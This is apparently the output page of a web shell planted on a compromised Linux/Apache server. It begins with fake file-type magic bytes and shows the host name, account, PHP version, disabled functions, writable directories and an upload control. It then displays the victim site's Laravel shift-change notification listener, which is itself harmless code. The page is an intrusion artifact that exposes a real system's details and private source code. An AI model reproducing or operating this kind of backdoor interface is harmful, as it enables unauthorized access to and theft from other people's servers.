%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/app/Listeners/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/app/Listeners/EmployeeShiftChangeListener.php
<?php

namespace App\Listeners;

use App\Events\EmployeeShiftChangeEvent;
use App\Events\EmployeeShiftScheduleEvent;
use App\Models\EmployeeShiftChangeRequest;
use App\Models\Permission;
use App\Models\PermissionType;
use App\Models\User;
use App\Models\UserPermission;
use App\Notifications\ShiftChangeRequest;
use App\Notifications\ShiftChangeStatus;
use Illuminate\Support\Facades\Notification;

class EmployeeShiftChangeListener
{

    /**
     * Handle the event.
     *
     * @param \App\Events\EmployeeShiftChangeEvent $event
     * @return void
     */
    public function handle(EmployeeShiftChangeEvent $event)
    {
        if (!is_null($event->statusChange)) {
            Notification::send($event->changeRequest->shiftSchedule->user, new ShiftChangeStatus($event->changeRequest));

        }
        else {
            $permission = Permission::where('name', 'manage_employee_shifts')->first();
            $allTypePermission = PermissionType::ofType('all')->first();
            $users = UserPermission::where('permission_type_id', $allTypePermission->id)->where('permission_id', $permission->id)->get()->pluck('user_id')->toArray();
            Notification::send(User::select('users.*')->whereIn('id', $users)->get(), new ShiftChangeRequest($event->changeRequest));
        }

    }

}

VaKeR 2022